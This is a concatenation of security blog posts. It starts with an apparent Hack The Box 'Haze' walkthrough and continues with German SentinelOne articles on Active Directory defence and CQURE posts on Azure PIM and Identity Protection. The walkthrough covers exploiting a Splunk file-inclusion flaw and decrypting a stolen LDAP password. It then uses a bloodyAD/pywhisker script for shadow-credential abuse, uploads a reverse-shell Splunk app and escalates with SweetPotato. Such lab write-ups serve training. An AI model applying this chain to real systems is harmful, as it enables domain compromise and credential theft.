| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open  ssl/http      Splunkd httpd
|_http-title: 404 Not Found
8089/tcp open  ssl/http      Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-server-header: Splunkd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds

Analysis:

  • 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
  • 88/tcp – Kerberos authentication (typical for AD environments).
  • 135/tcp – MS RPC endpoint mapper (useful for enumeration).
  • 139/tcp – NetBIOS session service (Windows file/printer sharing).
  • 389/tcp – LDAP (Active Directory query in plaintext).
  • 445/tcp – SMB service (file sharing, potential attack vector).
  • 464/tcp – Kerberos password change service (kpasswd).
  • 593/tcp – RPC over HTTP (potential for Active Directory related enumeration).
  • 636/tcp – LDAPS (LDAP over SSL/TLS).
  • 3268/tcp – Global Catalogue LDAP (multi-domain AD query).
  • 3269/tcp – Global Catalogue LDAPS (LDAP over SSL/TLS).
  • 8000/tcp – Splunk Web Interface (Splunkd httpd), web login portal exposed.
  • 8088/tcp – Splunk HTTP Event Collector (SSL).
  • 8089/tcp – Splunk management port (SSL), often used for Splunk API and administration.

Web Enumeration

Navigated to http://haze.htb:8000, which presented a Splunk Enterprise login page, indicating a web-based attack surface.

Visited http://haze.htb:8088, which returned a 404 error, suggesting no exploitable content.

Accessed http://haze.htb:8089, revealing a Splunk Atom feed that leaked the version (9.2.1), critical for identifying vulnerabilities.

Searched for Splunk 9.2.1 exploits, finding CVE-2024-36991, a local file inclusion (LFI) vulnerability allowing unauthorised file access:

The Splunk 9.2.1 authentication.conf documentation explains how Splunk manages user authentication. It defines how credentials are stored, including LDAP bindings, and supports integrating with external authentication systems. Misconfigurations here can expose sensitive data—like encrypted passwords and bindDNs—making it a critical target for exploitation during assessments

Understanding CVE-2024-36991: A Simple Explanation

Think of your computer or phone as a house with many doors and windows. Each one is a way to interact with the device. Now, imagine one of the locks isn’t working properly—it looks secure, but a clever intruder could still get in.

CVE-2024-36991 is like that broken lock, but in software. It’s a hidden flaw that, if found by the wrong person, could let them sneak into the system without permission. They might steal data, cause damage, or disrupt how things work.

The good news is that once these flaws are discovered, the developers usually fix them quickly, like calling a locksmith to repair a faulty lock. That’s why it’s so important to keep your apps and devices updated. Updates are your best defence against these types of security issues.

Leveraging CVE-2024-36991 for Exploitation

Downloaded the CVE-2024-36991 PoC to test the LFI vulnerability

I downloaded the publicly available proof-of-concept (PoC) and tested it using curl to retrieve sensitive configuration files, such as authentication.conf

The exploit was successful and allowed access to /etc/passwd, dumping several user password hashes

bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

Although hashcat didn’t crack the hashes within a 5-minute test, the PoC also revealed an encrypted bindDNpassword used in Splunk’s LDAP integration:

Knowing that Splunk stores a symmetric key in splunk.secret, I used the same LFI to retrieve that key. With both the encrypted password and the key, I used the splunksecrets tool to attempt decryption.

Unlocking Splunk Credentials via splunksecrets

Installed Splunksecrets to decrypt the hash

Fixing Cryptography Module Reference in SplunkSecrets

Diagnosis:

  • Using Python 3.12, as per the traceback.
  • The cryptography.hazmat.decrepit module was deprecated in newer cryptography versions.
  • Ran pip show cryptography—found a version >36.0.0, where decrepit was removed.
  • Tested import: python3 -c “from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4” confirmed the error.

Downgraded cryptography to a compatible version

I’m currently facing a fairly common issue—it’s related to how a Python package references the cryptography library. In this case, the splunksecrets package is trying to import a module from cryptography.hazmat.decrepit, which doesn’t exist. The correct path should be cryptography.hazmat.primitives.

To fix this, I’ll need to manually edit the file located at:

/home/dark/.local/lib/python3.12/site-packages/splunksecrets/splunk.py

On line 6, the import statement needs to be corrected.

Current line:

from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4

Updated line:

from cryptography.hazmat.primitives.ciphers.algorithms import ARC4

Once that’s updated, it should resolve the issue.

The splunksecrets tool offers various commands to encrypt and decrypt passwords related to Splunk and its components. It supports decrypting and encrypting credentials used for database connections (dbconnect), as well as passwords associated with Phantom assets. The tool also provides functionality to handle passwords encrypted with both current and legacy Splunk algorithms. Additionally, it can generate password hashes compatible with Splunk’s authentication system. This versatility makes splunksecrets a useful utility for recovering sensitive information during security assessments involving Splunk environments.

I decrypted the encrypted LDAP password by running the splunksecrets tool with the Splunk secret file and the captured ciphertext. This process successfully revealed the plaintext password for the user paul.taylor as Ld@p_Auth_Sp1unk@2k24, which can be used for LDAP authentication or further privilege escalation.

Enumerate using the netexec command

Tested credentials on SMB and LDAP

Attempted WinRM access with paul.taylor, but it failed

Enumerated AD users to find other accounts

Manually extracting the username is tedious, so the screenshot above shows a quicker way I used to identify it.

Discovered mark.adams and tested the same password, gaining WinRM access

Successfully connected to the machine via evil-winrm.

Enumerating AD for Privilege Escalation

The easiest way to understand mark.adams’s connections are by using BloodHound

The user mark.adams is a member of the gMSA Administrators group, granting access to retrieve and decrypt managed service account passwords from Active Directory. This privilege enables direct access to sensitive credentials (msDS-ManagedPassword), allowing privilege escalation or impersonation. It also opens paths for advanced attacks like NTLM relay or the Golden gMSA attack, which can provide persistent, stealthy access across the domain.

The details above display the properties of mark.adam.

I used a tool to connect to the target computer using the username “mark.adams” and the password I found. This confirmed that the credentials were correct and allowed me to access the system, which is running a recent version of Windows Server. The connection used standard network services to communicate securely with the target.

Bloodhound enumeration

The command executes BloodHound-python to collect Active Directory data using the machine account Haze-IT-Backup$. Instead of using a password, it authenticates with an NTLM hash (735c02c6b2dc54c3c8c6891f55279ebc)—a common technique during post-exploitation. The domain is specified as haze.htb, and the domain controller being queried is dc01.haze.htb, with the nameserver IP 10.10.11.61. The -c all flag instructs BloodHound to perform a full collection of all supported data types (such as sessions, ACLs, group memberships, etc.), and --zip compresses the output into a ZIP archive for easier ingestion into the BloodHound UI.

The machine account haze-it-backup$@haze.htb is a member of both support_services@haze.htb and Domain Computers@haze.htb groups. Membership in the Domain Computers group is standard for all domain-joined machines and typically grants basic permissions within the domain. However, its inclusion in the support services group may indicate elevated privileges or specific access rights related to IT support operations. This group membership may present an opportunity for privilege escalation, particularly if the support_services group has delegated permissions over high-value domain objects or privileged user accounts.

Attempted to retrieve gMSA NTLM hash, initially blank

I imported the Active Directory module and set the variable $gMSAName to “Haze-IT-Backup” and $principal to “mark.adams”. Then, I configured the managed service account so that the user mark.adams is authorised to retrieve the managed password.

You can also perform the same action using a one-liner command

We obtained the NTLM hash, but keep in mind that each user has a unique NTLM hash, so everyone will get a different one.

As shown by the results, the LDAP permissions now exceed regular permissions, allowing you to easily collect Domain Objects and DACLs, making enumeration straightforward for the user mark.adams.

BloodyAD and Pywhisker enumeration

An attempt to use BloodyAD for further exploitation failed due to invalid credentials, preventing successful authentication.

I had to rack my brain to figure out the issue, but after removing the $ from the Haze-IT-Backup username and running the ntpdate command, everything worked smoothly.

I also executed the BloodyAD commands displayed earlier to assign permissions and add group memberships to the Haze-IT-Backup account.

These commands attempt to escalate privileges by granting the Haze-IT-Backup account full control (genericAll) over the SUPPORT_SERVICES group and adding the service account as a member of that group.

I also ran a series of PyWhisker commands to manage permissions for the user edward.martin using the Haze-IT-Backup$ account:

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

The initial listing showed that the msDS-KeyCredentialLink attribute was empty or inaccessible.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "add"

This generated a certificate and key, updated the msDS-KeyCredentialLink attribute for edward.martin, and saved a PFX certificate file protected by a password. This certificate can be used to obtain a Ticket Granting Ticket (TGT) with external tools.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

This showed the new DeviceID and its creation timestamp.

#!/bin/bash

# Variables - replace with actual values
IP="10.10.11.61"
DOMAIN="haze.htb"
USER="Haze-IT-Backup$"
PASSWORD=":YOUR_PASSWORD_HERE"
TARGET_USER="edward.martin"
HASH=""  # Set this at runtime or before running commands

# Change owner of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 set owner 'SUPPORT_SERVICES' "$USER"

# Grant GenericAll permission to SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add genericAll "SUPPORT_SERVICES" "$USER"

# Add user as member of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add groupMember 'SUPPORT_SERVICES' "$USER"

# Prompt user to enter the hash at runtime if empty
if [ -z "$HASH" ]; then
  read -p "Enter the NTLM hash: " HASH
fi

# List KeyCredentialLink attribute for target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

# Add KeyCredential to target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "add"

# Confirm KeyCredentialLink attribute update
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

I utilised an existing script to automate the execution of all the necessary commands, streamlining the process and ensuring accuracy during exploitation.

I used impacket-getTGT to request a Kerberos Ticket Granting Ticket (TGT) for the Haze-IT-Backup$ account on the haze.htb domain, authenticating with the NTLM hash instead of a plaintext password. After successfully obtaining the ticket, I set the KRB5CCNAME environment variable to point to the ticket cache file, allowing subsequent Kerberos-authenticated actions to use this ticket.

Gaining Access as edward.martin

The image reveals that Haze-IT-Backup$ can modify the Owner attribute of the SUPPORT_SERVICES object. Notably, SUPPORT_SERVICES holds the privilege to issue certificates on behalf of the EDWARD account. This chain of permissions enables a classic Shadow Credentials attack. To exploit this path, the first step is to leverage the DACL misconfiguration on SUPPORT_SERVICES to gain control over the object and escalate privileges accordingly.

I used Certipy to perform an automated Shadow Credentials attack targeting the user edward.martin. By authenticating Haze-IT-Backup$ with the NTLM hash, Certipy generated and added a temporary Key Credential (certificate) to edward.martin’s account. This allowed the tool to authenticate edward.martin using the certificate and obtain a Ticket Granting Ticket (TGT). After successfully retrieving the TGT and saving it to a credential cache file, Certipy reverted the Key Credential changes to avoid detection. Finally, the tool extracted the NT hash for edward.martin, which can be used for further attacks or lateral movement.

I used evil-winrm to connect to the target machine as edward.martin, authenticating with the NT hash I had previously extracted. This granted me an interactive WinRM session with the privileges of edward.martin, allowing direct access to the system for further enumeration or exploitation.

We can read the user flag by simply running the command type user.txt inside the WinRM session.

Escalate the Root Privileges Access

Privileges Access

While exploring the system, I navigated to C:\Backups\Splunk and found a backup file named splunk_backup_2024-08-06.zip. I downloaded the file for offline analysis using the download command in Evil-WinRM.

Analyse the Splunk_backup file

After downloading splunk_backup_2024-08-06.zip, I extracted its contents locally to analyse the files inside.

It appeared to be a standard Splunk directory structure.

It turned out that Splunk had created a copy of the active configuration file, which contained the hash above

An error occurred while attempting to use splunksecrets.

By running splunksecrets splunk-decrypt -S etc/auth/splunk.secret, I was able to decrypt the ciphertext

There was no user account associated with this password, resulting in a STATUS_LOGON_FAILURE During login attempts.

Uploading a malicious zip file to get a shell

I tested this password by logging into the previously discovered website.

The login attempt was successful, confirming the password’s validity.

This means accessing and reviewing the part of the system where applications or services are controlled and configured. It involves looking at how apps are set up, what permissions they have, and possibly making changes to their settings.

Before proceeding, I conducted research to understand how to leverage the admin access effectively.

I then proceeded to use a reverse shell tool from this repository to gain remote shell access on the Splunk system.

I downloaded the reverse shell tool repository directly onto the target machine to prepare for the next steps.

The content matches the example shown above.

I added the reverse shell command to the appropriate script file.

The attempt to create (zip) the archive file failed.

I started a listener on my machine to catch the incoming reverse shell connection.

An attempt to upload the tar file through the app’s interface resulted in an error stating that the application does not exist.

I modified the reverse shell command to address the issues encountered.

This time, the zip file was created successfully without any issues.

The file was successfully uploaded to the application.

I successfully received the reverse shell connection from the target.

Exploiting SeImpersonatePrivilege with SweetPotato

The current user has the SeImpersonatePrivilege permission enabled, as shown above. This privilege is commonly exploited using tools like Juicy Potato to escalate to NT SYSTEM.

Privilege Escalation to Alexander Green

The user alexander.green@haze.htb is a member of multiple Active Directory groups, including splunk_admins@haze.htb, Domain Users@haze.htb, and users@haze.htb. The splunk_admins group likely grants administrative privileges over the Splunk environment, which could provide access to sensitive logs, configurations, or even execution capabilities within Splunk. Additionally, being part of the Domain Users group confirms that the account is a standard domain-joined user. The users group, which includes Domain Users as members, may be used to manage or apply policies to a broader set of accounts. This nested group membership structure could potentially be leveraged to escalate privileges or pivot further within the domain, depending on the permissions assigned to each group.

I downloaded the SweetPotato binary to the target machine to leverage the SeImpersonatePrivilege for privilege escalation.

I tested SweetPotato by running it with the whoami command, confirming that privilege escalation to NT SYSTEM was successful.

Using this privilege escalation method, I gained NT SYSTEM access and was able to read the root flag.

The post Hack The Box: Haze Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Die 10 besten Methoden zum Schutz des Active Directory

Für Cyberkriminelle stellt das Active Directory (AD) ein wertvolles Ziel dar. Sie nehmen es regelmäßig ins Visier, um ihre Berechtigungen auszuweiten und den Zugriff zu erweitern. Leider ist das AD für den Geschäftsbetrieb unverzichtbar und muss daher für alle Benutzer eines Unternehmens leicht zugänglich sein. Das erschwert Schutzmaßnahmen zusätzlich. Laut Microsoft werden täglich mehr als 95 Millionen AD-Konten angegriffen. Dies macht das Ausmaß des Problems deutlich.

Schutzmaßnahmen für das AD sind zwar eine Herausforderung, lassen sich mit den richtigen Tools und Taktiken aber durchaus bewerkstelligen. Nachfolgend finden Sie zehn Tipps, mit denen Unternehmen ihr Active Directory effektiver vor häufigen aktuellen Angriffstaktiken schützen können.

 

1. Erkennen und verhindern Sie die Auflistung von Berechtigungen, delegierten Administratoren, Services und Netzwerksitzungen

Sobald die Angreifer den Perimeterschutz überwunden und sich im Netzwerk festgesetzt haben, führen sie Erkundungen durch, um potenziell wertvolle Ressourcen zu identifizieren und festzustellen, wie sie an diese gelangen können. Am besten eignen sich dafür Angriffe auf das AD, weil sich diese als normale Geschäftsaktivitäten tarnen lassen und dadurch nur selten erkannt werden.

Eine Lösung, die die Auflistung von Berechtigungen, delegierter Administratoren und Dienstkonten erkennen und verhindern kann, ermöglicht es dem Sicherheitsteam, Angreifer in den ersten Phasen eines Angriffs aufzuspüren. Zudem können Angreifer mit gefälschten Domänenkonten und Anmeldedaten auf Endpunkten getäuscht und anschließend auf Köderobjekte umgeleitet werden.

2. Identifizieren und korrigieren Sie gefährdete privilegierte Konten

Häufig speichern Benutzer ihre Anmeldedaten in ihren Workstations. Meist geschieht dies versehentlich, mitunter aber auch absichtlich – in der Regel aus Bequemlichkeit. Angreifer wissen das und nehmen diese gespeicherten Anmeldedaten ins Visier, um sich damit Zugriff auf die Netzwerkumgebung zu verschaffen. Mit den richtigen Anmeldedaten können sie viel Schaden anrichten. Zudem suchen sie immer nach einer Möglichkeit, ihre Zugriffsrechte auszuweiten.

Unternehmen können Angreifern den Weg ins Netzwerk erschweren, indem sie gefährdete privilegierte Konten identifizieren, Konfigurationsfehler beheben und gespeicherte Anmeldedaten, freigegebene Ordner sowie andere Schwachstellen entfernen.

3. Verhindern und erkennen Sie Golden Ticket- und Silver Ticket-Angriffe

Pass-the-Ticket-Angriffe (PTT) sind äußerst effektiv, da sie Angreifern laterale Bewegungen im Netzwerk und die Erweiterung von Berechtigungen ermöglichen. Da Kerberos ein zustandsloses Protokoll ist, lässt es sich leicht missbrauchen, sodass Angreifer innerhalb des Systems problemlos Tickets fälschen können. Golden Ticket- und Silver Ticket-Angriffe sind die gravierendste Form von PTT-Angriffen, mit denen Domänen kompromittiert und Persistenz erzielt werden soll.

Um sich davor zu schützen, müssen Unternehmen anfällige Kerberos-TGTs (Ticket Granting Tickets) und -Dienstkonten erkennen können, um Konfigurationsfehler, die PTT-Angriffe ermöglichen könnten, zu identifizieren und davor zu warnen. Zudem kann eine Lösung wie Singularity Identity die Nutzung gefälschter Tickets auf Endpunkten verhindern.

4. Implementieren Sie Schutz vor Kerberoasting-, DCSync- und DCShadow-Angriffen

Mit Kerberoasting-Angriffen können Angreifer auf einfache Weise privilegierten Zugriff erlangen, während DCSync- und DCShadow-Angriffe dazu dienen, Persistenz in der Domäne eines Unternehmens zu erzielen.

Das Sicherheitsteam muss in der Lage sein, das AD kontinuierlich zu überwachen und AD-Angriffe in Echtzeit zu analysieren. Zudem muss es vor Konfigurationsfehlern gewarnt werden, die zu solchen Angriffen führen könnten. Außerdem muss eine Lösung Cyberkriminelle auf Endpunktebene davon abhalten, Konten auszukundschaften, und das Risiko für diese Angriffe somit minimieren.

5. Verhindern Sie die Erfassung von Anmeldedaten aus Domänenfreigaben

Häufig nehmen Angreifer in Skripten gespeicherte Kennwörter ins Visier, die im Klartext oder in umkehrbarer Verschlüsselung vorliegen. Oder sie nutzen Gruppenrichtliniendateien aus, die sich in Domänenfreigaben wie Sysvol oder Netlogon befinden.

Eine Lösung wie Ranger AD hilft beim Auffinden dieser Kennwörter, damit das Sicherheitsteam Risiken beseitigen kann, bevor Angreifer sie ausnutzen. Zudem bieten Lösungen wie Singularity Identity Mechanismen, mit denen falsche Sysvol-Gruppenrichtlinienobjekte im Produktions-AD bereitgestellt werden können, die Angreifer täuschen und von Produktionsressourcen ablenken.

6. Identifizieren Sie Konten mit verborgener privilegierter SID

Angreifer können das SID-Verlaufsattribut (Windows Sicherheits-ID) mithilfe der SID-Injektionstechnik ausnutzen und sich dadurch lateral in der AD-Umgebung bewegen sowie ihre Zugriffsrechte erweitern.

Um dies zu verhindern, müssen Sie Konten identifizieren, für die im SID-Verlaufsattribut und dazugehörigen Berichten bekannte privilegierte SID-Werten festgelegt sind.

7. Erkennen Sie gefährliche Delegierungen von Zugriffsrechten für kritische Objekte

Delegierung ist eine AD-Funktion, mit der Benutzer oder Konten ein anderes Konto imitieren können. Wenn beispielsweise ein Benutzer eine Web-Anwendung aufruft, die auf einem Web-Server gehostet ist, kann die Anwendung die Anmeldedaten des Benutzers imitieren, um damit auf Ressourcen zuzugreifen, die auf einem anderen Server gehostet sind. Jeder Domänenrechner mit uneingeschränkter Delegierung kann sich mit den entsprechenden Anmeldedaten bei jedem anderen Service in der Domäne als ein Benutzer ausgeben. Leider missbrauchen Angreifer diese Funktion, um sich damit Zugang zu anderen Netzwerkbereichen zu verschaffen.

Durch die kontinuierliche Überwachung von AD-Schwachstellen und Delegierungsrisiken kann das Sicherheitsteam diese Schwachstellen identifizieren und beheben, bevor sie ausgenutzt werden können.

8. Identifizieren Sie privilegierte Konten mit aktivierter Delegierung

Apropos Delegierung: Privilegierte Konten mit uneingeschränkter Delegierung können unmittelbar zu Kerberoasting- und Silver Ticket-Angriffen führen. Daher müssen Unternehmen privilegierte Konten mit aktiver Delegierung erkennen und deren Aktivitäten protokollieren können.

Mit einer umfassenden Liste privilegierter Benutzer, delegierter Administratoren und Dienstkonten kann sich das Sicherheitsteam einen Überblick über potenzielle Schwachstellen verschaffen. In diesem Fall ist Delegierung nicht automatisch schlecht, denn die Funktion wird häufig für bestimmte Abläufe benötigt. Das Sicherheitsteam kann Angreifer jedoch mittels Tools wie Singularity Identity davon abhalten, diese Konten aufzuspüren.

9. Identifizieren Sie nicht privilegierte Benutzer in der AdminSDHolder-Zugriffssteuerungsliste

Die Active Directory-Domänendienste (Active Directory Domain Services, AD DS) nutzen das AdminSDHolder-Objekt und den SDProp-Prozess (Security Descriptor Propagator, Propagierung der Verzeichnisdienst-Sicherheit), um privilegierte Benutzer und Gruppen zu schützen. Das AdminSDHolder-Objekt besitzt eine besondere Zugriffssteuerungsliste (Access Control List, ACL), die die Berechtigungen der Sicherheitsprinzipale regelt, die zu den integrierten privilegierten AD-Gruppen gehören. Um sich lateral zu bewegen, fügen Angreifer Konten zum AdminSDHolder hinzu und erhalten somit den gleichen privilegierten Zugriff wie andere geschützte Konten.

Tools wie Ranger AD schützen Unternehmen vor diesen Aktivitäten, da sie ungewöhnliche Konten in der AdminSDHolder-Zugriffssteuerungsliste erkennen und davor warnen.

10. Identifizieren Sie neue Änderungen an der Standarddomänenrichtlinie oder Standarddomänencontroller-Richtlinie

Im AD nutzen Unternehmen Gruppenrichtlinien zur Verwaltung mehrerer operativer Konfigurationen. Dabei werden Sicherheitseinstellungen für die jeweilige Umgebung festgelegt und häufig auch Administratorgruppen konfiguriert. Zudem umfassen die Richtlinien Skripte zum Starten und Herunterfahren. Administratoren konfigurieren sie, um auf jeder Ebene unternehmensspezifische Sicherheitsanforderungen einzurichten, Software zu installieren sowie Datei- und Registrierungsberechtigungen festzulegen. Leider können Angreifer diese Richtlinien verändern und damit Persistenz im Netzwerk erzielen.

Wenn Änderungen an den Standardgruppenrichtlinien überwacht werden, kann das Sicherheitsteam Angreifer schnell erkennen und auf diese Weise Sicherheitsrisiken minimieren sowie privilegierten Zugriff auf das AD verhindern.

Setzen Sie die richtigen Tools ein

Unternehmen, die die gängigen Taktiken von AD-Angriffen kennen, können sich besser davor schützen. Bei der Entwicklung von Tools wie Ranger AD und Singularity Identity haben wir viele Angriffsvektoren berücksichtigt und zudem ermittelt, wie diese am besten erkannt und abgewehrt werden können.

Mit diesen Tools können Unternehmen effektiv Schwachstellen identifizieren, böswillige Aktivitäten frühzeitig erkennen und Sicherheitszwischenfälle beheben, bevor Eindringlinge ihre Zugriffsrechte erweitern und ein kleiner Angriff zu einer weitreichenden Kompromittierung wird. Der Schutz des Active Directory ist eine Herausforderung, die sich jedoch dank moderner AD-Schutzlösungen bewältigen lässt.

The post Die 10 besten Methoden zum Schutz des Active Directory appeared first on SentinelOne DE.

Active Directory-Sicherheit | Worum es dabei geht und was Sie wissen müssen

Heutzutage wird das Active Directory (AD) von Angreifern sehr häufig ins Visier genommen, denn es ist eine Art Generalschlüssel, der den Zugang zum gesamten Netzwerk ermöglicht. AD stellt die Verzeichnisdienste bereit, mit denen Administratoren im gesamten Netzwerk Berechtigungen verwalten und Zugriff auf Ressourcen gewähren. Es ist somit für die täglichen Abläufe eines Unternehmens unverzichtbar – und auch ein wertvolles Ziel. Da das Active Directory Berechtigungen und Authentifizierungen verwaltet, muss es für alle Benutzer leicht zugänglich sein. Leider lässt es sich dadurch nur schwer absichern. Um das Active Directory angemessen zu schützen, müssen unbeachtete Sicherheitslücken geschlossen und auf diese Weise die allgemeine Sicherheit des Unternehmens gestärkt werden.

Die Rolle des Active Directory bei Netzwerkabläufen

Bei den Netzwerkabläufen spielt das AD eine derart große Rolle, dass es den meisten Kunden (verständlicherweise) an ausreichend Fachwissen fehlt, um Lücken in der AD-Sicherheit aufdecken zu können. Es geht dabei nicht nur um das Patchen bekannter Schwachstellen oder die Korrektur von Konfigurationsfehlern. Jede riskante Einstellung und jeder falsch gesetzte Parameter kann Angreifern als Einfallstor ins System dienen. Um das AD zu schützen, müssen Risiken aufgespürt, Angriffe in Echtzeit erkannt und Sicherheitsrichtlinien verwaltet werden. Zudem benötigen Sie Einblicke in Compliance-Verstöße von Benutzern, die diese Richtlinien nicht konsequent einhalten. In dynamischen Situationen wie Fusionen und Übernahmen gestaltet sich die Verwaltung durch die umfangreichen Umgebungsveränderungen ungleich schwerer.

Der Wert des Active Directory für Angreifer

Bei den meisten Unternehmen ist das AD das zentrale Repository für alle Konten und Systeme im Netzwerk und zudem für die gesamte Authentifizierung und Autorisierung auf Netzwerkebene verantwortlich. Das AD ist für Angreifer ein lukratives Ziel, da sie durch dessen Kompromittierung Zugriff auf alle Netzwerkressourcen erhalten. Darüber hinaus gibt es ihnen die nötigen Berechtigungen, um gewisse Änderungen vorzunehmen, die es dem Sicherheitsteam erschweren, sie aufzuspüren und aus dem Netzwerk zu entfernen.

Leider werden AD-Angriffe durch die vielen quelloffenen und frei verfügbaren Tools wie Bloodhound und Mimikatz quasi zu einem Kinderspiel. Angreifer suchen mit diesen Tools nach Konten, die ihnen Administratorrechte gewähren können, und führen ihre Angriffe so durch, dass sie ihre Zugriffsrechte erweitern und Spuren verwischen können. Bei der Vorbereitung auf Ransomware-Angriffe kann das AD zur Achillesferse eines Unternehmens werden. Bei nahezu jedem Ransomware-Angriff kompromittieren die Angreifer das AD, um an Informationen, Berechtigungen oder beides zu gelangen. Das AD kann also schnell zum besten Freund der Angreifer werden, sofern es nicht ordnungsgemäß abgesichert ist.

Wichtige Maßnahmen zum Schutz des Active Directory

Es gibt einige Best Practices, die Unternehmen unbedingt befolgen sollten. Dazu gehören zum Beispiel Schutzmaßnahmen für das AD, die erhebliche Reduzierung privilegierter Konten, die Nutzung von Jump Boxes und das Befolgen von Leitfäden zur sicheren Implementierung von Technik. Doch diese Maßnahmen reichen nicht aus, um das AD umfassend zu schützen. Verantwortungsbewusste Unternehmen sollten daher Identitätssicherheitslösungen implementieren, mit denen sie eine Übersicht über anfällige Anmeldedaten erhalten, die als potenzieller Angriffsweg und für den Zugriff auf das AD missbraucht werden können. Zudem benötigen Unternehmen einen Überblick über Risiken und Schwachstellen des AD.

Neue Tools zum Schutz des Active Directory

Es gibt mittlerweile neue Tools, die Unternehmen bei der Absicherung des AD unterstützen. Lösungen zur Erkennung von und Reaktion auf Identitätsbedrohungen (Identity Threat Detection and Response, ITDR) sind ein unverzichtbarer Bestandteil der AD-Schutzmaßnahmen, da sie die Abwehr von Angreifern erleichtern, die die AD-Infrastruktur im Netzwerk ins Visier nehmen. Um umfassendere Bedrohungserkennung, verbesserte Untersuchungen und kürzere Reaktionszeiten zu ermöglichen, müssen Unternehmen Angreifer erkennen, die es auf Anmeldedaten, Cloud-Berechtigungen und das Active Directory abgesehen haben. Hier können ITDR-Lösungen helfen. Peter Firstbrook, Vice President von Gartner Research, erklärte vor Kurzem, dass Identity Threat Detection and Response eine unverzichtbare Funktion für jede XDR-Lösung sei, und unterstrich damit den Wert der ITDR-Technologie.

Active Directory-Sicherheit als höchste Priorität

Laut Schätzungen von Microsoft wurden im Jahr 2021 täglich 95 Millionen AD-Konten angegriffen – diese Zahl ist mittlerweile wahrscheinlich noch weiter gestiegen. Die Angreifer haben erkannt, dass das AD aufgrund seiner Einzigartigkeit ein äußerst wertvolles Ziel darstellt und gleichzeitig schwer abzusichern ist. Sie werden es nun also bevorzugt ins Visier nehmen. Letztendlich können die Sicherheitsteams ihre Verzeichnisdienste nur schützen, wenn sie die Risiken kennen und einen genauen Überblick über Angriffe auf diese Ressourcen haben. Mit ITDR erhalten Sie kontinuierliche Transparenz über Risiken, Konfigurationsfehler und Anmeldedaten, die Angreifer während eines identitätsbasierten Angriffs ausnutzen wollen. Angriffe auf das AD werden so schnell nicht aufhören – Unternehmen stehen heute jedoch Tools und Ressourcen zur Verfügung, mit denen sie Angreifer, die es auf Anmeldedaten und das Active Directory abgesehen haben, schnell aufspüren und ausschalten können.

The post Active Directory-Sicherheit | Worum es dabei geht und was Sie wissen müssen appeared first on SentinelOne DE.

Back to Basics: Using PIM in Azure Active Directory Security

By: tribe47

Minimizing who can access your data and when is one of the cornerstones of cybersecurity as it helps to decrease the chance of sensitive information falling into the hands of a malicious actor. It also protects data against being accidentally viewed (or even inadvertently leaked!) by an authorized user.

Because privileged user accounts hold higher levels of access than other user accounts, they need to be monitored more closely. PIM is a service in Azure Active Directory that allows you to restrict access in a variety of cool ways, from making it time-bound to implementing just-in-time access.

In her exploration of Privileged Identity Management in Azure Active Directory, Paula covers:

  •     Assigning roles
  •     Adding assignments
  •     Giving global administrative rights to a user
  •     Configuring limited time access that expires after a specified time
  •     How to activate a role and monitor it using Assigned Admins

You’ll find more beginner-level episodes of CQ Hacks devoted to Azure Active Directory Security on the CQURE Academy blog.

 

Holiday time is approaching and we know that everyone loves to receive gifts! Especially at CQURE, the idea of sharing is close to us and we would like to invite you to our Great Racoon Giveaway Contest, where you will get a chance to win $3920-worth voucher for any of CQURE Academy Live Courses! 

Please click on the below banner to find out more about the contest:

The post Back to Basics: Using PIM in Azure Active Directory Security appeared first on CQURE Academy.

Back to Basics: Identity protection in Azure Active Directory

By: tribe47

Identity Protection is a security feature in Azure Active Directory that helps to prevent, detect, and remediate identity risk in an organization. Using multiple detections, it monitors every login for identity compromise, sorting sign-ins into three categories of risk: low, medium, and high.

These risk ratings can be used to create automated user risk policies that balance employee productivity with corporate security. For example, multi-factor authentication can be set as a requirement for a sign-in that is high-risk.

Join Paula as she reviews the different policies in Azure’s Identity Protection (User Risk, Sign-in Risk, and MFA Registration) and explains how to:

  •       Select which users you want to include in the policy
  •       Exclude specific users (such as your ‘break-glass’ account so that you cannot be accidentally logged out of Azure Active Directory)
  •       Specify risk levels as high, medium, or low in the User Risk section
  •       Block access or allow access but require a password change in the Access section
  •       Activate and enforce a policy that you have set up and configured

Paula shows how to monitor your organization for risky users and risky sign-ins in the Report section of Azure’s Identity Protection dashboard and takes you through how to delete the conditional access policies you create.

Discover what happens when a log-in to an organization’s Microsoft Office portal from a Tor browser is flagged as “something strange” by Azure AD’s Identity Protection. You’ll also learn how to mark identity as compromised if, for example, sign-ins have been made in two completely different locations using that identity.

Paula covers identity security from the perspectives of both the administrator and the user, giving a clear view of the steps an employee must take when their account has been identified as risky.

With this identity security lesson under your belt, you’ll be able to intelligently react to potentially dangerous situations.  Take a stroll around the CQURE Academy blog now for more Azure Active Directory security tips including ‘8 things to avoid’ in Azure AD.

